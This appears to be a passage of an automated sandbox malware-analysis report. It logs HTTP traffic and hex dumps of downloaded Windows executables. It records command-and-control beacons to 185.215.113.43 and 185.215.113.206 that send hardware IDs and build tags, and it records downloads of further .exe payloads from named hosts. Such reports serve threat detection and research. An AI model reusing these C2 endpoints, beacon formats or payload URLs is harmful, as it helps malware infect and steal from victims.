a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7d bd 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 9b a5 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:19:32 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:19:37 GMTContent-Type: application/octet-streamContent-Length: 2820096Last-Modified: Wed, 30 Oct 2024 23:13:35 GMTConnection: keep-aliveETag: "6722bd9f-2b0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 8f 98 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 67 6f 6f 74 6e 77 71 00 c0 2a 00 00 a0 00 00 00 a8 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 71 71 6d 66 63 65 75 00 20 00 00 00 60 2b 00 00 04 00 00 00 e2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:19:59 GMTContent-Type: application/octet-streamContent-Length: 1926144Last-Modified: Wed, 30 Oct 2024 23:58:44 GMTConnection: keep-aliveETag: "6722c834-1d6400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4c 00 00 04 00 00 96 4d 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 03 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 02 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 66 62 65 7a 75 6f 72 00 50 1a 00 00 c0 31 00 00 48 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 64 71 71 6d 66 74 67 00 10 00 00 00 10 4c 00 00 04 00 00 00 3e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4c 00 00 22 00 00 00 42 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:20:10 GMTContent-Type: application/octet-streamContent-Length: 2820096Last-Modified: Wed, 30 Oct 2024 23:13:35 GMTConnection: keep-aliveETag: "6722bd9f-2b0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 8f 98 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 67 6f 6f 74 6e 77 71 00 c0 2a 00 00 a0 00 00 00 a8 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 71 71 6d 66 63 65 75 00 20 00 00 00 60 2b 00 00 04 00 00 00 e2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:20:17 GMTContent-Type: application/octet-streamContent-Length: 1926144Last-Modified: Wed, 30 Oct 2024 23:58:44 GMTConnection: keep-aliveETag: "6722c834-1d6400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4c 00 00 04 00 00 96 4d 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 03 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 02 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 66 62 65 7a 75 6f 72 00 50 1a 00 00 c0 31 00 00 48 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 64 71 71 6d 66 74 67 00 10 00 00 00 10 4c 00 00 04 00 00 00 3e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4c 00 00 22 00 00 00 42 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /hostname.exe HTTP/1.1Host: softwarefile.cc
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002744001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002745001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002746001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"621030F647411176838713------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build"tale------EBKKKEGIDBGHIDGDHDBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002747001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: 